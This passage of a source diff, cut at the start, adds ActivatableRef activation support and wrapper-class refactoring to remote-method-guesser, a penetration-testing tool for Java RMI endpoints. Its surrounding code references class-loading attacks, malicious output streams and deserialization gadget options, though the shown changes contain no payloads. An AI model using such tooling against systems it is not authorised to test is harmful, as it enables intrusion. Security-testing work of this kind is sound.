MalformedURLException, ClassNotFoundException { diff --git a/src/de/qtc/rmg/internal/RMGOption.java b/src/de/qtc/rmg/internal/RMGOption.java index c8514a0c..15437df5 100644 --- a/src/de/qtc/rmg/internal/RMGOption.java +++ b/src/de/qtc/rmg/internal/RMGOption.java @@ -94,6 +94,8 @@ public enum RMGOption { OBJID_OBJID("objid", "ObjID string to parse", Arguments.store(), RMGOptionGroup.ACTION, "objid"), KNOWN_CLASS("classname", "classname to check within the database", Arguments.store(), RMGOptionGroup.ACTION, "classname"), + ACTIVATION("--activate", "enable activation for ActivatableRef", Arguments.storeTrue(), RMGOptionGroup.ACTION), + FORCE_ACTIVATION("--force-activation", "force activation of ActivatableRef", Arguments.storeTrue(), RMGOptionGroup.ACTION), ARGUMENT_POS("--position", "payload argument position", Arguments.store(), RMGOptionGroup.ACTION, "pos"), NO_CANARY("--no-canary", "do not use a canary during RMI attacks", Arguments.storeTrue(), RMGOptionGroup.ACTION), NO_PROGRESS("--no-progress", "disable progress bars", Arguments.storeTrue(), RMGOptionGroup.ACTION), diff --git a/src/de/qtc/rmg/io/Formatter.java b/src/de/qtc/rmg/io/Formatter.java index 42d18e35..75ce49c3 100644 --- a/src/de/qtc/rmg/io/Formatter.java +++ b/src/de/qtc/rmg/io/Formatter.java @@ -11,7 +11,9 @@ import de.qtc.rmg.internal.CodebaseCollector; import de.qtc.rmg.internal.MethodCandidate; import de.qtc.rmg.operations.RemoteObjectClient; +import de.qtc.rmg.utils.ActivatableWrapper; import de.qtc.rmg.utils.RemoteObjectWrapper; +import de.qtc.rmg.utils.UnicastWrapper; /** * The formatter class is used to print formatted output for the enum and guess operations. @@ -57,7 +59,7 @@ public void listBoundNames(RemoteObjectWrapper[] remoteObjects) Logger.printlnPlainMixedPurple("", "(unknown class)"); } - printLiveRef(remoteObject); + printRemoteRef(remoteObject); Logger.decreaseIndent(); } @@ -236,12 +238,27 @@ private void listVulnerabilities(List vulns) } /** - * Print formatted output to display a LiveRef. To make fields more accessible, the ref needs to - * be wrapped into an RemoteObjectWrapper first. + * Checks whether the specified RemoteObjectWrapper is a UnicastWrapper or an + * ActivatableWrapper and calls the corresponding function accordingly. * - * @param ref RemoteObjectWrapper wrapper around a LiveRef + * @param wrapper RemoteObjectWrapper containing the RemoteRef */ - private void printLiveRef(RemoteObjectWrapper ref) + private void printRemoteRef(RemoteObjectWrapper wrapper) + { + if (wrapper instanceof UnicastWrapper) + printUnicastRef((UnicastWrapper)wrapper); + + else + printActivatableRef((ActivatableWrapper)wrapper); + } + + /** + * Print information on a UnicastRef. This information includes the remote + * endpoint, whether it uses TLS and the ObjID of the associated remote object. + * + * @param ref UnicastWrapper containing the UnicastRef + */ + private void printUnicastRef(UnicastWrapper ref) { if(ref == null || ref.remoteObject == null) return; @@ -265,4 +282,26 @@ private void printLiveRef(RemoteObjectWrapper ref) Logger.printlnPlainMixedBlue(" ObjID:", ref.objID.toString()); } + + /** + * Print some more information on a ActivatableRef. This always includes + * the endpoint of the corresponding Activator instance and the associated + * ActivationID. If the ActivatbaleRef was already activated, the associated + * UnicastRef information is also printed, as in the case of printUnicastRef. + * + * @param ref ActivatableWrapper containing the activatbale ref + */ + private void printActivatableRef(ActivatableWrapper ref) + { + if(ref == null || ref.remoteObject == null) + return; + + Logger.print(" "); + Logger.printPlainMixedBlue("Activator:", ref.getActivatorEndpoint()); + Logger.printlnPlainMixedBlue(" ActivationID:", ref.activationUID.toString()); + + UnicastWrapper unicastRef = ref.getActivated(); + if (unicastRef != null) + printUnicastRef(unicastRef); + } } diff --git a/src/de/qtc/rmg/networking/RMIEndpoint.java b/src/de/qtc/rmg/networking/RMIEndpoint.java index bb50ff37..3fab599e 100644 --- a/src/de/qtc/rmg/networking/RMIEndpoint.java +++ b/src/de/qtc/rmg/networking/RMIEndpoint.java @@ -79,7 +79,7 @@ public RMIEndpoint(String host, int port, RMIClientSocketFactory csf) * @param objID identifies the targeted remote object on the server side * @return newly constructed RemoteRef */ - public RemoteRef getRemoteRef(ObjID objID) + public UnicastRef getRemoteRef(ObjID objID) { Endpoint endpoint = new TCPEndpoint(host, port, csf, null); return new UnicastRef(new LiveRef(objID, endpoint, false)); diff --git a/src/de/qtc/rmg/networking/RMIRegistryEndpoint.java b/src/de/qtc/rmg/networking/RMIRegistryEndpoint.java index 8820e5a6..42e0e640 100644 --- a/src/de/qtc/rmg/networking/RMIRegistryEndpoint.java +++ b/src/de/qtc/rmg/networking/RMIRegistryEndpoint.java @@ -136,11 +136,8 @@ public RemoteObjectWrapper[] lookup(String[] boundNames) throws IllegalArgumentE { RemoteObjectWrapper[] remoteObjects = new RemoteObjectWrapper[boundNames.length]; - for(int ctr = 0; ctr < boundNames.length; ctr++) { - - Remote remoteObject = this.lookup(boundNames[ctr]); - remoteObjects[ctr] = new RemoteObjectWrapper(remoteObject, boundNames[ctr]); - } + for(int ctr = 0; ctr < boundNames.length; ctr++) + remoteObjects[ctr] = this.lookup(boundNames[ctr]); return remoteObjects; } @@ -151,8 +148,9 @@ public RemoteObjectWrapper[] lookup(String[] boundNames) throws IllegalArgumentE * * @param boundName name to lookup within the registry * @return Remote representing the requested remote object + * @throws Reflection related exceptions. RMI related once are caught and handeled directly */ - public Remote lookup(String boundName) + public RemoteObjectWrapper lookup(String boundName) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException { Remote remoteObject = remoteObjectCache.get(boundName); @@ -192,7 +190,7 @@ else if( cause instanceof SSRFException ) } } - return remoteObject; + return RemoteObjectWrapper.getInstance(remoteObject, boundName); } /** diff --git a/src/de/qtc/rmg/operations/ActivationClient.java b/src/de/qtc/rmg/operations/ActivationClient.java index 5da7c081..6fb0e1ca 100644 --- a/src/de/qtc/rmg/operations/ActivationClient.java +++ b/src/de/qtc/rmg/operations/ActivationClient.java @@ -1,6 +1,7 @@ package de.qtc.rmg.operations; import java.rmi.server.ObjID; +import java.rmi.server.RemoteRef; import de.qtc.rmg.internal.ExceptionHandler; import de.qtc.rmg.internal.MethodArguments; @@ -8,6 +9,8 @@ import de.qtc.rmg.io.Logger; import de.qtc.rmg.io.MaliciousOutputStream; import de.qtc.rmg.networking.RMIEndpoint; +import javassist.ClassPool; +import javassist.CtClass; /** * In the old days, it was pretty common for RMI endpoints to use an Activator. An Activator @@ -201,8 +204,34 @@ private MethodArguments prepareCallArguments(Object payloadObject) * @param maliciousStream whether or not to use MaliciousOutputStream, which activates a custom codebase * @throws Exception connection related exceptions are caught, but anything other is thrown */ - private void activateCall(MethodArguments callArguments, boolean maliciousStream) throws Exception + public void activateCall(MethodArguments callArguments, boolean maliciousStream) throws Exception { rmi.genericCall(objID, -1, methodHash, callArguments, maliciousStream, "activate"); } + + /** + * This function is used for performing regular calls to the RMI Activator. It is used when the RMI server + * returns an ActivatableRef that needs to be activated. Callers need to obtain the return value + * (MarshalledObject) by registering a ResponseHandler. + * + * Notice that the ActivationID is passed as a generic Object argument. This is required, since + * remote-method-guesser should stay compatible with Java distributions that already removed the + * activation system. Therefore, we should not use activation system related classed directly. + * + * @param activationID the ActivationID of the reference to activate + * @param force whether to force the activation (do not return cached referecnes) + * @param ref RemoteRef for the Activator remote object + * @throws Exception connection related exceptions are caught, but anything other is thrown + */ + public void regularActivateCall(Object activationID, boolean force, RemoteRef ref) throws Exception + { + MethodArguments callArguments = new MethodArguments(2); + callArguments.add(activationID, Object.class); + callArguments.add(force, boolean.class); + + ClassPool pool = ClassPool.getDefault(); + CtClass type = pool.get("java.rmi.MarshalledObject"); + + rmi.genericCall(objID, -1, methodHash, callArguments, false, "activate", ref, type); + } } diff --git a/src/de/qtc/rmg/operations/Dispatcher.java b/src/de/qtc/rmg/operations/Dispatcher.java index 11bf9b79..dca6c739 100644 --- a/src/de/qtc/rmg/operations/Dispatcher.java +++ b/src/de/qtc/rmg/operations/Dispatcher.java @@ -27,6 +27,7 @@ import de.qtc.rmg.utils.RMGUtils; import de.qtc.rmg.utils.RemoteObjectWrapper; import de.qtc.rmg.utils.RogueJMX; +import de.qtc.rmg.utils.UnicastWrapper; import de.qtc.rmg.utils.YsoIntegration; import javassist.CannotCompileException; import javassist.NotFoundException; @@ -368,7 +369,6 @@ public void dispatchCall() * option. If the signature is a real method signature, a target needs to be specified by * bound name or ObjID. Otherwise, the --signature is expected to be one of act, dgc or reg. */ - @SuppressWarnings("deprecation") public void dispatchCodebase() { RMGOption.requireTarget(); @@ -557,7 +557,8 @@ public void dispatchGuess() ExceptionHandler.noSuchObjectException(e, "registry", true); } - MethodGuesser guesser = new MethodGuesser(remoteObjects, getCandidates()); + UnicastWrapper[] wrappers = RemoteObjectWrapper.getUnicastWrappers(remoteObjects); + MethodGuesser guesser = new MethodGuesser(wrappers, getCandidates()); guesser.printGuessingIntro(); List results = guesser.guessMethods(); diff --git a/src/de/qtc/rmg/operations/MethodGuesser.java b/src/de/qtc/rmg/operations/MethodGuesser.java index 5e881261..debdbc9d 100644 --- a/src/de/qtc/rmg/operations/MethodGuesser.java +++ b/src/de/qtc/rmg/operations/MethodGuesser.java @@ -15,7 +15,7 @@ import de.qtc.rmg.io.Logger; import de.qtc.rmg.utils.ProgressBar; import de.qtc.rmg.utils.RMGUtils; -import de.qtc.rmg.utils.RemoteObjectWrapper; +import de.qtc.rmg.utils.UnicastWrapper; /** * The MethodGuesser class is used to brute force available remote methods on Java RMI endpoints. It uses @@ -49,14 +49,14 @@ public class MethodGuesser { /** * To create a MethodGuesser you need to pass the references for remote objects you want to guess on. - * These are usually obtained from the RMI registry and can be passed as an array of RemoteObjectWrapper. + * These are usually obtained from the RMI registry and can be passed as an array of UnicastWrapper. * Furthermore, you need to specify a Set of MethodCandidates that represents the methods you want * to guess. * * @param remoteObjects Array of looked up remote objects from the RMI registry * @param candidates MethodCandidates that should be guessed */ - public MethodGuesser(RemoteObjectWrapper[] remoteObjects, Set candidates) + public MethodGuesser(UnicastWrapper[] remoteObjects, Set candidates) { this.candidates = candidates; @@ -82,21 +82,21 @@ public MethodGuesser(RemoteObjectWrapper[] remoteObjects, Set c * * @param remoteObjects Array of looked up remote objects from the RMI registry */ - private List initClientList(RemoteObjectWrapper[] remoteObjects) + private List initClientList(UnicastWrapper[] remoteObjects) { List remoteObjectClients = new ArrayList(); setPadding(remoteObjects); if( !RMGOption.GUESS_DUPLICATES.getBool() ) - remoteObjects = RemoteObjectWrapper.handleDuplicates(remoteObjects); + remoteObjects = UnicastWrapper.handleDuplicates(remoteObjects); - for( RemoteObjectWrapper o : remoteObjects ) { + for( UnicastWrapper o : remoteObjects ) { RemoteObjectClient client = new RemoteObjectClient(o); remoteObjectClients.add(client); } - if( RemoteObjectWrapper.hasDuplicates(remoteObjects) ) + if( UnicastWrapper.hasDuplicates(remoteObjects) ) printDuplicates(remoteObjects); return remoteObjectClients; @@ -106,11 +106,11 @@ private List initClientList(RemoteObjectWrapper[] remoteObje * This function is just used for displaying the result. It is called when iterating over the boundNames * and saves the length of the longest boundName. This is used as a padding value for the other boundNames. * - * @param remoteObjects List containing all RemoteObjectWrappers used during the guess operation + * @param remoteObjects List containing all UnicastWrapper used during the guess operation */ - private void setPadding(RemoteObjectWrapper[] remoteObjects) + private void setPadding(UnicastWrapper[] remoteObjects) { - for(RemoteObjectWrapper o : remoteObjects) { + for(UnicastWrapper o : remoteObjects) { if( padding < o.boundName.length() ) padding = o.boundName.length(); @@ -122,9 +122,9 @@ private void setPadding(RemoteObjectWrapper[] remoteObjects) * the same class / interface and that only one of them is used during method guessing. The * output is disabled by default and only enabled if --verbose was used. * - * @param remoteObjects List containing all RemoteObjectWrappers used during the guess operation + * @param remoteObjects List containing all UnicastWrapper used during the guess operation */ - private void printDuplicates(RemoteObjectWrapper[] remoteObjects) + private void printDuplicates(UnicastWrapper[] remoteObjects) { Logger.disableIfNotVerbose(); Logger.printInfoBox(); @@ -133,7 +133,7 @@ private void printDuplicates(RemoteObjectWrapper[] remoteObjects) Logger.lineBreak(); Logger.increaseIndent(); - for( RemoteObjectWrapper remoteObject : remoteObjects ) { + for( UnicastWrapper remoteObject : remoteObjects ) { String[] duplicates = remoteObject.getDuplicateBoundNames(); @@ -166,11 +166,11 @@ private void printDuplicates(RemoteObjectWrapper[] remoteObjects) * @param remoteObjects Array of looked up remote objects from the RMI registry * @return Array of unknown remote objects */ - private RemoteObjectWrapper[] handleKnownMethods(RemoteObjectWrapper[] remoteObjects) + private UnicastWrapper[] handleKnownMethods(UnicastWrapper[] remoteObjects) { - ArrayList unknown = new ArrayList(); + ArrayList unknown = new ArrayList(); - for(RemoteObjectWrapper o : remoteObjects) { + for(UnicastWrapper o : remoteObjects) { if(!o.isKnown()) unknown.add(o); @@ -204,7 +204,7 @@ private RemoteObjectWrapper[] handleKnownMethods(RemoteObjectWrapper[] remoteObj Logger.enable(); } - return unknown.toArray(new RemoteObjectWrapper[0]); + return unknown.toArray(new UnicastWrapper[0]); } /** diff --git a/src/de/qtc/rmg/operations/Operation.java b/src/de/qtc/rmg/operations/Operation.java index 31c92cd1..cf951772 100644 --- a/src/de/qtc/rmg/operations/Operation.java +++ b/src/de/qtc/rmg/operations/Operation.java @@ -67,6 +67,7 @@ public enum Operation { RMGOption.SSRF_RAW, RMGOption.SSRF_STREAM_PROTOCOL, RMGOption.CALL_ARGUMENTS, + RMGOption.FORCE_ACTIVATION, }), CODEBASE("dispatchCodebase", " ", "Perform remote class loading attacks", new RMGOption[] { @@ -91,6 +92,7 @@ public enum Operation { RMGOption.CODEBASE_URL, RMGOption.CODEBASS_CLASS, RMGOption.ARGUMENT_POS, + RMGOption.FORCE_ACTIVATION, }), ENUM("dispatchEnum", "[scan-action ...]", "Enumerate common vulnerabilities on Java RMI endpoints", new RMGOption[] { @@ -113,6 +115,8 @@ public enum Operation { RMGOption.SSRF_STREAM_PROTOCOL, RMGOption.DGC_METHOD, RMGOption.REG_METHOD, + RMGOption.ACTIVATION, + RMGOption.FORCE_ACTIVATION, }), GUESS("dispatchGuess", "", "Guess methods on bound names", new RMGOption[] { @@ -140,6 +144,7 @@ public enum Operation { RMGOption.GUESS_ZERO_ARG, RMGOption.THREADS, RMGOption.NO_PROGRESS, + RMGOption.FORCE_ACTIVATION, }), KNOWN("dispatchKnown", "", "Display details of known remote objects", new RMGOption[] { @@ -246,6 +251,7 @@ public enum Operation { RMGOption.GADGET_NAME, RMGOption.GADGET_CMD, RMGOption.YSO, + RMGOption.FORCE_ACTIVATION, }), UNBIND("dispatchUnbind", "", "Removes the specified bound name from the registry", new RMGOption[] { diff --git a/src/de/qtc/rmg/operations/RemoteObjectClient.java b/src/de/qtc/rmg/operations/RemoteObjectClient.java index 632cc36f..9ae8306b 100644 --- a/src/de/qtc/rmg/operations/RemoteObjectClient.java +++ b/src/de/qtc/rmg/operations/RemoteObjectClient.java @@ -1,8 +1,6 @@ package de.qtc.rmg.operations; -import java.rmi.Remote; import java.rmi.server.ObjID; -import java.rmi.server.RemoteRef; import java.util.ArrayList; import java.util.Collections; import java.util.Iterator; @@ -18,10 +16,12 @@ import de.qtc.rmg.networking.RMIRegistryEndpoint; import de.qtc.rmg.utils.DefinitelyNonExistingClass; import de.qtc.rmg.utils.RMGUtils; -import de.qtc.rmg.utils.RemoteObjectWrapper; +import de.qtc.rmg.utils.UnicastWrapper; import javassist.CannotCompileException; import javassist.CtClass; import javassist.NotFoundException; +import sun.rmi.server.UnicastRef; + /** * The RemoteObjectClient class is used for method guessing and communication to user defined remote objects. @@ -30,17 +30,18 @@ * * @author Tobias Neitzel (@qtc_de) */ +@SuppressWarnings("restriction") public class RemoteObjectClient { private ObjID objID; - private RemoteRef remoteRef; + private UnicastRef remoteRef; private RMIEndpoint rmi; private String boundName; private String randomClassName; - public RemoteObjectWrapper remoteObject; + public UnicastWrapper remoteObject; public List remoteMethods; /** @@ -79,11 +80,11 @@ public RemoteObjectClient(RMIEndpoint rmiEndpoint, ObjID objID) /** * If you already obtained a reference to the remote object, you can also use it directly - * in form of passing an RemoteObjectWrapper. + * in form of passing an UnicastWrapper. * - * @param remoteObject Previously obtained remote reference contained in a RemoteObjectWrapper + * @param remoteObject Previously obtained remote reference contained in a UnicastWrapper */ - public RemoteObjectClient(RemoteObjectWrapper remoteObject) + public RemoteObjectClient(UnicastWrapper remoteObject) { this.rmi = new RMIEndpoint(remoteObject.getHost(), remoteObject.getPort(), remoteObject.csf); this.objID = remoteObject.objID; @@ -91,26 +92,26 @@ public RemoteObjectClient(RemoteObjectWrapper remoteObject) this.remoteObject = remoteObject; this.remoteMethods = Collections.synchronizedList(new ArrayList()); - remoteRef = remoteObject.remoteRef; + remoteRef = remoteObject.unicastRef; } /** - * When a RemoteObjectClient was obtained using an ObjID, it has no assigned RemoteObjectWrapper. - * remote-method-guesser only creates a RemoteRef using the endpoint information and the ObjID, - * which is sufficient for RMI calls. Constructing a RemoteObject from a RemoteRef is easily + * When a RemoteObjectClient was obtained using an ObjID, it has no assigned UnicastWrapper. + * remote-method-guesser only creates a UnicastRef using the endpoint information and the ObjID, + * which is sufficient for RMI calls. Constructing a RemoteObject from a UnicastRef is easily * possible, but it is only useful when also the implemented remote interface is known. * - * This functions lets you create a RemoteObjectWrapper (RemoteObject) that is based on the already - * constructed RemoteRef and implements the specified interface. + * This functions creates a UnicastWrapper (RemoteObject) that is based on the already + * constructed UnicastRef and implements the specified interface. * * @param intf Interface implemented by the RemoteObject */ - public RemoteObjectWrapper assignInterface(Class intf) + public UnicastWrapper assignInterface(Class intf) { - RemoteObjectWrapper remoteObject = null; + UnicastWrapper remoteObject = null; try { - remoteObject = RemoteObjectWrapper.fromRef(remoteRef, intf); + remoteObject = UnicastWrapper.fromRef(remoteRef, intf); this.remoteObject = remoteObject; } catch (IllegalArgumentException | IllegalAccessException | NoSuchFieldException | SecurityException e) { @@ -351,7 +352,7 @@ private void printGadgetIntro(MethodCandidate targetMethod, int attackArgument) * * @return Remote reference to the target object */ - private RemoteRef getRemoteRefByObjID() + private UnicastRef getRemoteRefByObjID() { if(objID == null) ExceptionHandler.internalError("getRemoteRefByObjID", "Function was called with missing objID."); @@ -366,25 +367,21 @@ private RemoteRef getRemoteRefByObjID() * * @return Remote reference to the target object */ - private RemoteRef getRemoteRefByName() + private UnicastRef getRemoteRefByName() { if(boundName == null || !(rmi instanceof RMIRegistryEndpoint)) ExceptionHandler.internalError("getRemoteRefByName", "Function was called without the required fields."); - RemoteRef remoteRef = null; RMIRegistryEndpoint rmiReg = (RMIRegistryEndpoint)rmi; try { - Remote instance = rmiReg.lookup(boundName); - remoteRef = RMGUtils.extractRef(instance); - - this.remoteObject = new RemoteObjectWrapper(instance, boundName); + remoteObject = rmiReg.lookup(boundName).getUnicastWrapper(); } catch(Exception e) { ExceptionHandler.unexpectedException(e, "remote reference lookup", "operation", true); } - return remoteRef; + return remoteObject.unicastRef; } /** diff --git a/src/de/qtc/rmg/plugin/PluginSystem.java b/src/de/qtc/rmg/plugin/PluginSystem.java index 200e707b..f66e3401 100644 --- a/src/de/qtc/rmg/plugin/PluginSystem.java +++ b/src/de/qtc/rmg/plugin/PluginSystem.java @@ -232,4 +232,24 @@ public static boolean hasArgumentProvider() { return argumentProvider instanceof IArgumentProvider; } + + /** + * Returns the currently set ResponseHandler + * + * @return currently set ResponseHandler + */ + public static IResponseHandler getResponseHandler() + { + return responseHandler; + } + + /** + * Sets a new ResponseHandler. + * + * @param handler the new ResponseHandler to set + */ + public static void setResponeHandler(IResponseHandler handler) + { + responseHandler = handler; + } } diff --git a/src/de/qtc/rmg/utils/ActivatableWrapper.java b/src/de/qtc/rmg/utils/ActivatableWrapper.java new file mode 100644 index 00000000..38a79ebd --- /dev/null +++ b/src/de/qtc/rmg/utils/ActivatableWrapper.java @@ -0,0 +1,200 @@ +package de.qtc.rmg.utils; + +import java.io.IOException; +import java.lang.reflect.Field; +import java.rmi.MarshalledObject; +import java.rmi.Remote; +import java.rmi.server.RemoteRef; +import java.rmi.server.UID; + +import de.qtc.rmg.internal.ExceptionHandler; +import de.qtc.rmg.internal.RMGOption; +import de.qtc.rmg.networking.RMIEndpoint; +import de.qtc.rmg.operations.ActivationClient; +import de.qtc.rmg.plugin.IResponseHandler; +import de.qtc.rmg.plugin.PluginSystem; +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +/** + * The ActivatableWrapper class extends RemoteObjectWrapper and is used for wrapping ActiviatableRef. + * By using the activate method of ActivatableWrapper, it is possible to turn it into an UnicastWrapper. + * + * @author Tobias Neitzel (@qtc_de) + */ +@SuppressWarnings("restriction") +public class ActivatableWrapper extends RemoteObjectWrapper +{ + public final UID activationUID; + private final Object activationIDObj; + private final RMIEndpoint activatorEndpoint; + private final UnicastRef activatorUnicastRef; + + private RemoteRef activatableRef = null; + private UnicastWrapper activatedRef = null; + + /** + * ActivatableWrapper is constructed from a remote object. It expects the underlying RemoteRef to + * be an ActivatableRef and attempts tp extract the ActivationID from it. The ActivationID is then + * used to obtain the actual UID used for activation and the reference to the Activator. + * + * To provide compatibility to newer Java versions, the constructor uses reflection to perform operations + * on classes that are contained in the activation system. This allows them to be dynamically generated + * if they are missing. + * + * During the enum action, it is possible to use the RMGOptions.ACTIVATE option to activate an + * ActivatableWrapper and to display properties of the UnicastRef that is obtained during activation. + * For all other operations, activation is done implicitly. + * + * The third argument seems superfluous, as the ref is already contained in the remote object. However, + * ActivatableWrapper should be created by using the getInstance method of RemoteObjectWrapper. This one + * extracts the reference from the remote object anyway to check whether it is a UnicastRef or ActivatableRef. + * Therefore, we can reuse this extracted ref instead of performing another extraction. + * + * @param remoteObject Incoming RemoteObject, usually obtained by an RMI lookup call + * @param boundName The bound name that the remoteObject uses inside the RMI registry + * @param ref ActivatableRef to wrap around + * @throws many Exceptions - These only occur if some reflective access fails + */ + public ActivatableWrapper(Remote remoteObject, String boundName, RemoteRef ref) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException + { + super(boundName, remoteObject); + + Class activationIDClass = null; + Class activatableRefClass = null; + + try { + activationIDClass = Class.forName("java.rmi.activation.ActivationID"); + activatableRefClass = Class.forName("sun.rmi.server.ActivatableRef"); + + } catch (ClassNotFoundException e) { + ExceptionHandler.unexpectedException(e, "ActivatableWrapper", "constructor", true); + } + + Field activationIDField = activatableRefClass.getDeclaredField("id"); + Field uidField = activationIDClass.getDeclaredField("uid"); + Field activatorField = activationIDClass.getDeclaredField("activator"); + Field endpointField = LiveRef.class.getDeclaredField("ep"); + + for( Field field : new Field[] { activationIDField, uidField, activatorField, endpointField }) + field.setAccessible(true); + + this.activatableRef = ref; + activationIDObj = activationIDField.get(activatableRef); + activationUID = (UID) uidField.get(activationIDObj); + + Remote activator = (Remote) activatorField.get(activationIDObj); + activatorUnicastRef = (UnicastRef) RMGUtils.extractRef(activator); + + LiveRef lRef = activatorUnicastRef.getLiveRef(); + TCPEndpoint endpoint = (TCPEndpoint)endpointField.get(lRef); + + activatorEndpoint = new RMIEndpoint(endpoint.getHost(), endpoint.getPort()); + + if (RMGOption.ACTIVATION.getBool()) + this.activate(); + } + + /** + * Activate the ActivatableWrapper. Sends an activate call to the associated Activator and attempts + * to obtain a UnicastRef for the desired remote object. + * + * @return UnicastWrapper that contains the activated reference + * @throws Reflection related exceptions + */ + public UnicastWrapper activate() throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException + { + if (activatedRef != null && !RMGOption.FORCE_ACTIVATION.getBool()) + return activatedRef; + + ActivationClient activationClient = new ActivationClient(activatorEndpoint); + ActivationResponseHandler handler = new ActivationResponseHandler(); + + IResponseHandler cachedHandler = PluginSystem.getResponseHandler(); + PluginSystem.setResponeHandler(handler); + + Class activatableRefClass = null; + + try { + activationClient.regularActivateCall(activationIDObj, RMGOption.FORCE_ACTIVATION.getBool(), activatorUnicastRef); + activatableRefClass = Class.forName("sun.rmi.server.ActivatableRef"); + + } catch (Exception e) { + ExceptionHandler.unexpectedException(e, "activate", "call", true); + } + + Field activationRefField = activatableRefClass.getDeclaredField("ref"); + activationRefField.setAccessible(true); + + PluginSystem.setResponeHandler(cachedHandler); + Remote activedObject = handler.getRemote(); + activatableRef = RMGUtils.extractRef(activedObject); + + activatedRef = new UnicastWrapper(activedObject, boundName, (UnicastRef) activationRefField.get(activatableRef)); + + return activatedRef; + } + + /** + * Return the currently set activatedRef. This is probably null, if the wrapper was not previously activated. + * Use the activate method instead, if you want to ensure activation. + * + * @return activatedRef or null + */ + public UnicastWrapper getActivated() + { + return activatedRef; + } + + /** + * Return a formated string in host:port format for the Activator endpoint. + * + * @return String representation of the activator endpoint + */ + public String getActivatorEndpoint() + { + return activatorEndpoint.host + ":" + activatorEndpoint.port; + } + + /** + * remote-method-guesser performs activation by calling the associated remote method of the + * Activator manually, using its already implemented genericCall method from the RMIEndpoint + * class. The downside of this approach is that this method was never intended to return the + * return value of a call directly, but uses the PluginSystem to obtain return values via a + * ResponseHandler. Therefore, we need to setup a ResponseHandler and register it on the + * PluginSystem to obtain the result of the call. + * + * @author Tobias Neitzel (@qtc_de) + */ + class ActivationResponseHandler implements IResponseHandler + { + private MarshalledObject activatedObject; + + /** + * Required ResponseHandler function for handling the return value of the call. We simply + * save it within the activatedObject property. + */ + public void handleResponse(Object responseObject) + { + activatedObject = (MarshalledObject) responseObject; + } + + /** + * This function should be called after the response was handled. It takes the activatedObject + * and attempts to extract the remote out of it. This object is then returned. + * @return + */ + public Remote getRemote() + { + try { + return activatedObject.get(); + + } catch (ClassNotFoundException | IOException e) { + ExceptionHandler.unexpectedException(e, "activate", "call", true); + } + + return null; + } + } +} \ No newline at end of file diff --git a/src/de/qtc/rmg/utils/EmptyWrapper.java b/src/de/qtc/rmg/utils/EmptyWrapper.java new file mode 100644 index 00000000..deb7fa7a --- /dev/null +++ b/src/de/qtc/rmg/utils/EmptyWrapper.java @@ -0,0 +1,23 @@ +package de.qtc.rmg.utils; + +/** + * EmptyWrapper is basically a dummy class that extends RemoteWrapper. It is only used + * during the enum action as a container for the obtained bound names. In previous versions + * of remote-method-guesser, an instance of RemoteObjectWrapper was directly used for this + * purpose, but since critical properties like the associated remote object are missing, this + * class was created to make it more transparent that this is not a fully working wrapper. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class EmptyWrapper extends RemoteObjectWrapper +{ + /** + * Create an EmptyWrapper by simply using RemoteObjectWrappers boundName constructor. + * + * @param boundName the bound name to associate with the wrapper + */ + public EmptyWrapper(String boundName) + { + super(boundName); + } +} \ No newline at end of file diff --git a/src/de/qtc/rmg/utils/RMGUtils.java b/src/de/qtc/rmg/utils/RMGUtils.java index dd306add..e9d6cfec 100644 --- a/src/de/qtc/rmg/utils/RMGUtils.java +++ b/src/de/qtc/rmg/utils/RMGUtils.java @@ -183,6 +183,27 @@ public static Class makeSerializableClass(String className) throws CannotCompile return ctClass.toClass(); } + /** + * Create required classes for the activation system. This function is called when the server + * contains an ActivatableRef. It checks whether the class exists within the currently running + * JVM and creates it otherwise. + * + * @return Class object for ActivatableRef + * @throws CannotCompileException + */ + public static Class makeActivatbaleRef() throws CannotCompileException + { + try { + return Class.forName("sun.rmi.server.ActivatableRef"); + } catch (ClassNotFoundException e) { + // TODO needs to be implemented correctly + Logger.printlnYellow("[-] Not implemented yet!"); + RMGUtils.exit(); + } + + return null; + } + /** * Creates a method from a signature string. Methods need to be assigned to a class, therefore the static * dummyClass is used that is created during the initialization of RMGUtils. The class relationship of the diff --git a/src/de/qtc/rmg/utils/RemoteObjectWrapper.java b/src/de/qtc/rmg/utils/RemoteObjectWrapper.java index 4eabc978..204a2c5e 100644 --- a/src/de/qtc/rmg/utils/RemoteObjectWrapper.java +++ b/src/de/qtc/rmg/utils/RemoteObjectWrapper.java @@ -1,48 +1,33 @@ package de.qtc.rmg.utils; -import java.lang.reflect.Field; -import java.lang.reflect.Proxy; import java.rmi.Remote; -import java.rmi.server.ObjID; -import java.rmi.server.RMIClientSocketFactory; -import java.rmi.server.RMIServerSocketFactory; -import java.rmi.server.RMISocketFactory; -import java.rmi.server.RemoteObjectInvocationHandler; import java.rmi.server.RemoteRef; -import java.util.ArrayList; -import java.util.List; - -import javax.rmi.ssl.SslRMIClientSocketFactory; import de.qtc.rmg.endpoints.KnownEndpoint; import de.qtc.rmg.endpoints.KnownEndpointHolder; import de.qtc.rmg.internal.ExceptionHandler; +import javassist.tools.reflect.Reflection; import sun.rmi.server.UnicastRef; -import sun.rmi.transport.LiveRef; -import sun.rmi.transport.tcp.TCPEndpoint; /** * The RemoteObjectWrapper class represents a wrapper around the ordinary RMI remote object related classes. * It stores the basic information that is required to use the remote object as usual, but adds additional * fields that allow to obtain meta information more easily. * + * From remote-method-guesser v4.3.0 on, the class gets extended by the UnicastWrapper and ActivatbaleWrapper + * classes. As the names suggest, UnicastWrapper is used to wrap remote objects that contain a UnicastRef, + * whereas ActivatableWrapper is used for wrapping ActivatabaseRef types. + * * @author Tobias Neitzel (@qtc_de) */ @SuppressWarnings("restriction") -public class RemoteObjectWrapper { - - public ObjID objID; +public abstract class RemoteObjectWrapper +{ public String className; public String boundName; public Remote remoteObject; - public UnicastRef remoteRef; - public TCPEndpoint endpoint; - public RMIClientSocketFactory csf; - public RMIServerSocketFactory ssf; public KnownEndpoint knownEndpoint; - public List duplicates; - /** * This constructor is only used for special purposes during the enum action. The resulting * RemoteObjectWrapper is not fully functional and should not be used for other purposes than @@ -56,174 +41,61 @@ public RemoteObjectWrapper(String boundName) } /** - * Create a new RemoteObjectWrapper from a RemoteObject. + * Partially initializes a wrapper. This constructor goes already a little bit deeper than the + * previous one by also assigning the remote object, checking for the implementing class and + * whether it is a duplicate. However, this constructor should still only be used by subclasses + * that add the missing 